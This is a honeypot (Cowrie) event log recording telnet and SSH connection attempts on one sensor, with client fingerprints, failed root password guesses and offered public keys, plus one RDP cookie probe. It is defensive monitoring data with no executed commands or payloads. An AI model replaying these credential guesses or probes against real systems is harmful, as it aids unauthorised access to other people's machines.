{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45736,"dst_ip":"10.17.0.5","dst_port":23,"session":"045d9d7f07d8","protocol":"telnet","message":"New connection: 192.119.13.58:45736 (10.17.0.5:23) [session: 045d9d7f07d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:36.957658Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":51668,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f4b28f75f03","protocol":"telnet","message":"New connection: 186.195.16.41:51668 (159.203.135.109:23) [session: 2f4b28f75f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:39.002613Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":47354,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b6fc912690e","protocol":"ssh","message":"New connection: 170.106.188.200:47354 (159.203.135.109:22) [session: 6b6fc912690e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:39.022812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:39.027760Z","src_ip":"170.106.188.200","session":"6b6fc912690e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:39.096379Z","src_ip":"170.106.188.200","session":"6b6fc912690e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaye","message":"login attempt [root/jaye] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:39.398913Z","src_ip":"170.106.188.200","session":"6b6fc912690e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:40.470880Z","src_ip":"170.106.188.200","session":"6b6fc912690e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.8316330909729,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:43.373095Z","src_ip":"192.119.13.58","session":"a10126937fe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44778,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7445aa2272b","protocol":"telnet","message":"New connection: 192.119.13.58:44778 (10.17.0.5:23) [session: c7445aa2272b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:43.462246Z"}
{"eventid":"cowrie.session.closed","duration":39.86628699302673,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:48.877788Z","src_ip":"192.119.13.58","session":"5cb3d1eae227","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.243619441986084,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:54.966576Z","src_ip":"192.119.13.58","session":"1ac3a548572f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a916b504cadc","protocol":"telnet","message":"New connection: 192.119.13.58:40422 (10.17.0.5:23) [session: a916b504cadc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:56.196474Z"}
{"eventid":"cowrie.session.closed","duration":34.21151566505432,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:58.881932Z","src_ip":"192.119.13.58","session":"e1b9a6f2d327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":60118,"dst_ip":"159.203.135.109","dst_port":22,"session":"f89e65c08fd4","protocol":"ssh","message":"New connection: 103.27.238.114:60118 (159.203.135.109:22) [session: f89e65c08fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:04.146990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:04.153242Z","src_ip":"103.27.238.114","session":"f89e65c08fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:04.428972Z","src_ip":"103.27.238.114","session":"f89e65c08fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000123","message":"login attempt [root/000123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:05.257717Z","src_ip":"103.27.238.114","session":"f89e65c08fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:06.535745Z","src_ip":"103.27.238.114","session":"f89e65c08fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.23447299003601,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:12.211007Z","src_ip":"192.119.13.58","session":"64243645105d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.23.12.21","src_port":57910,"dst_ip":"10.17.0.5","dst_port":22,"session":"425b1727562d","protocol":"ssh","message":"New connection: 217.23.12.21:57910 (10.17.0.5:22) [session: 425b1727562d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:14.261690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:14.267054Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:14.359012Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:48:69:3f:95:0c:01:71:ed:22:76:0f:ba:9c:ea:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyFf478TfBlNz9Kru9fVf2IH6QkLRWnYmNJaAwpQkUF6dAY6gEhmZOR95W+pmKE3IwmM0mrXtbYAWcOOAy72BJZLmQF1wCV9rQT6SOfACMEyL9rK0Vbs0dHU4kL7H3FqpxBfMX14t/NvRDzdk9YuAEAfjiaX8MoTIpaLcBqnolCf05isjmiL8Ky+X/oneBW2nP7OFyy21s2o/EoedyEvqLxQ4vJPgeYD+QBo+tHuUdb8si6YP3qeJq66vPjPf70q+h5qdGj/Z9844RDIS4ZZQGEfOytOL5CbHZUM4GwoS6KnAfEkeMLeEgcN3PRVplAcKQARJrJuQyGZi0YbYOoNgx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:48:69:3f:95:0c:01:71:ed:22:76:0f:ba:9c:ea:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:14.781825Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:48:69:3f:95:0c:01:71:ed:22:76:0f:ba:9c:ea:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyFf478TfBlNz9Kru9fVf2IH6QkLRWnYmNJaAwpQkUF6dAY6gEhmZOR95W+pmKE3IwmM0mrXtbYAWcOOAy72BJZLmQF1wCV9rQT6SOfACMEyL9rK0Vbs0dHU4kL7H3FqpxBfMX14t/NvRDzdk9YuAEAfjiaX8MoTIpaLcBqnolCf05isjmiL8Ky+X/oneBW2nP7OFyy21s2o/EoedyEvqLxQ4vJPgeYD+QBo+tHuUdb8si6YP3qeJq66vPjPf70q+h5qdGj/Z9844RDIS4ZZQGEfOytOL5CbHZUM4GwoS6KnAfEkeMLeEgcN3PRVplAcKQARJrJuQyGZi0YbYOoNgx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:14.786139Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:d9:be:b9:6e:9e:c6:b2:21:7f:77:77:6c:ea:67:11","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGbUxSfMgNunD26AHAatKewU1NmdC1htyz6JZcb4Mg3W","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 89:d9:be:b9:6e:9e:c6:b2:21:7f:77:77:6c:ea:67:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:14.875629Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:d9:be:b9:6e:9e:c6:b2:21:7f:77:77:6c:ea:67:11","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGbUxSfMgNunD26AHAatKewU1NmdC1htyz6JZcb4Mg3W","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:14.880615Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:da:5a:58:28:0b:1c:f0:fb:55:0d:73:ba:c4:be:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxeUpePlJvUXbusHw7c0q5FJ1EbejWWZ2O2IgUADUjyl5gpkjDSTI+i/FJLYVOSQaZrD7Lc70u+fA0DUTGe6ym4XqpGcV7hDYouz6sbhXAseXsujtRqhFKjh+cP9cFDWF3ZDOy6LPT/jSVoam9u3Jaiosrz8S3+xKsJThFxEuZlw6B8a89uCcmr/631X4z8JBHDcdKTaD8Wb4/yeRnnGB8bXGWlSHb+Kt1L3cJXYRmhRmgR7eUnUh5pDIiueYv4w2jYH1MtauZvelIKRDW4TkQSs36i9X5G5B9j4mD45ooXNDQCPAgj33OIPVkWmQsdLfUQt7uHhZfVvTIK6dhoQvDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:da:5a:58:28:0b:1c:f0:fb:55:0d:73:ba:c4:be:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:14.970878Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:da:5a:58:28:0b:1c:f0:fb:55:0d:73:ba:c4:be:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxeUpePlJvUXbusHw7c0q5FJ1EbejWWZ2O2IgUADUjyl5gpkjDSTI+i/FJLYVOSQaZrD7Lc70u+fA0DUTGe6ym4XqpGcV7hDYouz6sbhXAseXsujtRqhFKjh+cP9cFDWF3ZDOy6LPT/jSVoam9u3Jaiosrz8S3+xKsJThFxEuZlw6B8a89uCcmr/631X4z8JBHDcdKTaD8Wb4/yeRnnGB8bXGWlSHb+Kt1L3cJXYRmhRmgR7eUnUh5pDIiueYv4w2jYH1MtauZvelIKRDW4TkQSs36i9X5G5B9j4mD45ooXNDQCPAgj33OIPVkWmQsdLfUQt7uHhZfVvTIK6dhoQvDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:14.975834Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:47:19:fa:ee:1d:5d:5a:17:26:9b:3f:12:c3:54:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVwLRvNISOolIS4GNJELt0xBlRjjJY3w1apbqQMeI2Jk5w2kHJKQ1yogkYuyl+PASoYNZvrJpdufjCupa5kfw8vZOdEH76EjtbWJ5LbLMbd4bW3W+AkvJlWmQDqUee+lDAxNz/pWgUPorjJBwoGR1yBuzbbJvaAbPYOJ6T7hnlLATgnuEcpoKBXGHgUrxVwIa9YV5GxWSGT7hjqeLmV87rGbssTOq1SObf9LQhxopGNU3nJuwQ4ltV7OOn+et6m7wop7o3pqU81jI1Te4Ms8MEHTkn3TD8Jb2XGfVtXk9MWNdFew0Ih+uKeu7WdU61FJcfIL0HTU6/mjFWTM/WDBXx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:47:19:fa:ee:1d:5d:5a:17:26:9b:3f:12:c3:54:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:15.067408Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:47:19:fa:ee:1d:5d:5a:17:26:9b:3f:12:c3:54:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVwLRvNISOolIS4GNJELt0xBlRjjJY3w1apbqQMeI2Jk5w2kHJKQ1yogkYuyl+PASoYNZvrJpdufjCupa5kfw8vZOdEH76EjtbWJ5LbLMbd4bW3W+AkvJlWmQDqUee+lDAxNz/pWgUPorjJBwoGR1yBuzbbJvaAbPYOJ6T7hnlLATgnuEcpoKBXGHgUrxVwIa9YV5GxWSGT7hjqeLmV87rGbssTOq1SObf9LQhxopGNU3nJuwQ4ltV7OOn+et6m7wop7o3pqU81jI1Te4Ms8MEHTkn3TD8Jb2XGfVtXk9MWNdFew0Ih+uKeu7WdU61FJcfIL0HTU6/mjFWTM/WDBXx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:15.073271Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:86:5a:d9:7f:69:36:70:95:fb:6b:49:c7:cb:9d:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6t7dTNyJvZQ9mxCT0dPHk3Ix7E6OnX9MlWqak+cjEmtBhSDgLPc/YrTGxVUBiy0b/gsP3H+sVQuGeg4DhhHvTCXBqsiDUef/Iwz6QA1Ag6Qf+mA5IHV/Oz2LhvAY4hEvNnGbRdR704LpG6KWJHPDvAkUQBHjcb308fxG0Nexu5i8Lc1iJNZhqQPh/yFXwDp6ERtfCb4/9yDKJQ4vLC7B8E8v04XoOnlq4qxUQGQhHtUoMYCop3ruAA+aB+ltM7czfj/vgaK8Z8GBCxg2a4JoX8dJwppqn3aW7cYEjZh4X0EqgYEU7DSWzpGLLQJpG6c0yuddwMmj5uSIREJu4O7zL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:86:5a:d9:7f:69:36:70:95:fb:6b:49:c7:cb:9d:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:15.166201Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:86:5a:d9:7f:69:36:70:95:fb:6b:49:c7:cb:9d:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6t7dTNyJvZQ9mxCT0dPHk3Ix7E6OnX9MlWqak+cjEmtBhSDgLPc/YrTGxVUBiy0b/gsP3H+sVQuGeg4DhhHvTCXBqsiDUef/Iwz6QA1Ag6Qf+mA5IHV/Oz2LhvAY4hEvNnGbRdR704LpG6KWJHPDvAkUQBHjcb308fxG0Nexu5i8Lc1iJNZhqQPh/yFXwDp6ERtfCb4/9yDKJQ4vLC7B8E8v04XoOnlq4qxUQGQhHtUoMYCop3ruAA+aB+ltM7czfj/vgaK8Z8GBCxg2a4JoX8dJwppqn3aW7cYEjZh4X0EqgYEU7DSWzpGLLQJpG6c0yuddwMmj5uSIREJu4O7zL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:15.173028Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:15.266616Z","src_ip":"217.23.12.21","session":"425b1727562d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43382,"dst_ip":"10.17.0.5","dst_port":23,"session":"864b63f99475","protocol":"telnet","message":"New connection: 192.119.13.58:43382 (10.17.0.5:23) [session: 864b63f99475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:18.105309Z"}
{"eventid":"cowrie.session.closed","duration":50.74874305725098,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:18.448784Z","src_ip":"192.119.13.58","session":"5eadd69ac016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.734716176986694,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:19.692259Z","src_ip":"192.119.13.58","session":"045d9d7f07d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50236,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b63e13d888","protocol":"telnet","message":"New connection: 192.119.13.58:50236 (10.17.0.5:23) [session: 58b63e13d888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:19.801350Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52620,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cf8145d516c","protocol":"telnet","message":"New connection: 192.119.13.58:52620 (10.17.0.5:23) [session: 2cf8145d516c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:20.414756Z"}
{"eventid":"cowrie.session.closed","duration":40.025336027145386,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:23.487293Z","src_ip":"192.119.13.58","session":"c7445aa2272b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35218,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e49fb81a982","protocol":"telnet","message":"New connection: 192.119.13.58:35218 (10.17.0.5:23) [session: 2e49fb81a982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:30.225556Z"}
{"eventid":"cowrie.session.closed","duration":39.753997802734375,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:35.950329Z","src_ip":"192.119.13.58","session":"a916b504cadc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.50656270980835,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:38.731967Z","src_ip":"192.119.13.58","session":"2e49fb81a982","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45178,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d2ef64ebdb1","protocol":"telnet","message":"New connection: 192.119.13.58:45178 (10.17.0.5:23) [session: 5d2ef64ebdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:53.479360Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59751,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba5a752f2820","protocol":"ssh","message":"New connection: 152.42.212.128:59751 (159.203.135.109:22) [session: ba5a752f2820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:54.103651Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:54.108919Z","src_ip":"152.42.212.128","session":"ba5a752f2820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:52:54.114752Z","src_ip":"152.42.212.128","session":"ba5a752f2820","protocol":"ssh"}
